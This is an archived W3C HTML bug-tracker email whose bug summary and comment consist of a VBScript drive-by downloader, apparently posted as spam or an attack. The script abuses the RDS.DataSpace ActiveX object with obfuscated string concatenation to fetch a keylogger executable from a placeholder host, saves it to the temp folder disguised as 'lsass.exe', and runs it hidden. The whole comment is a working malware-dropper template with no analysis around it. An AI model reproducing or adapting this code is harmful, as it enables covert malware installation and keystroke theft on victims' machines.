[Bug 15315] New: < ****** language="VBScript"> on error resume next Set obj1 = ********.createElement("object") obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" est1="Microsoft."&"_xmlHTTP" Set obj2 = obj1.CreateObject(est1,"") est="Ado"&"db."&"St

https://www.w3.org/Bugs/Public/show_bug.cgi?id=15315

           Summary: < ****** language="VBScript"> on error resume next Set
                    obj1 = ********.createElement("object")
                    obj1.setAttribute "classid",
                    "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
                    est1="Microsoft."&"_xmlHTTP" Set obj2 =
                    obj1.CreateObject(est1,"") est="Ado"&"db."&"St
           Product: HTML WG
           Version: unspecified
          Platform: Other
               URL: http://www.whatwg.org/specs/web-apps/current-work/#top
        OS/Version: other
            Status: NEW
          Severity: normal
          Priority: P3
         Component: HTML5 spec (editor: Ian Hickson)
        AssignedTo: ian@hixie.ch
        ReportedBy: contributor@whatwg.org
         QAContact: public-html-bugzilla@w3.org
                CC: mike@w3.org, public-html-wg-issue-tracking@w3.org,
                    public-html@w3.org


Specification: http://www.w3.org/TR/html5/
Multipage: http://www.whatwg.org/C#top
Complete: http://www.whatwg.org/c#top

Comment:

< ****** language="VBScript">
on error resume next
Set obj1 = ********.createElement("object")
obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
est1="Microsoft."&"_xmlHTTP"
Set obj2 = obj1.CreateObject(est1,"")

est="Ado"&"db."&"Str"&"eam"
set obj3 = obj1.createobject(est,"")
obj3.type = 1
est2="GET"
obj2.Open est2, "http://www.siteniz.com/keyloggeradresiniz.exe", False
obj2.Send

set F = obj1.createobject("Scripting.FileSystemObject","")
set pasta = F.GetSpecialFolder(2)
fi="lsass.exe"
fi= F.BuildPath(pasta,fi)

obj3.open
obj3.write obj2.responseBody 
obj3.savetofile fi,2
obj3.close

set obj5 = obj1.createobject("Shell.Application","")

obj5.ShellExecute fi,"","","open",0
< / ****** >

Posted from: 78.163.136.5
User agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko)
Chrome/16.0.912.63 Safari/535.7

-- 
Configure bugmail: https://www.w3.org/Bugs/Public/userprefs.cgi?tab=email
------- You are receiving this mail because: -------
You are the QA contact for the bug.

Received on Thursday, 22 December 2011 20:49:45 UTC